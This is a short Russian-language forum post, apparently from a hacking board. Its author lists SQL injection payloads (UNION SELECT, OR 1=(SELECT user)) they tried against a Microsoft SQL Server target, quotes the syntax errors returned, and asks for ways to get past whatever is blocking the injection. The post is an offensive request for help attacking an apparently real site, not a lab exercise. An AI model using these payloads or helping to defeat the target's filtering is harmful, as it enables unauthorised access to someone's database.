Чего-то мне последнее время кривые инъекции попадаются )))
-1+union+select+1--
Incorrect syntax near '1'.
-1+union+select+null--
Incorrect syntax near the keyword 'null'.
Чего оно хочет? O_o
Order by .. к примеру работает.
И еще -1+or+1=(select+user)-- выводит все верно, а вот если к примеру -1+or+1=(select+xxx+from+xxx)--
Incorrect syntax near the keyword 'from'.
------
Подкиньте пару вариантов как это одолеть ))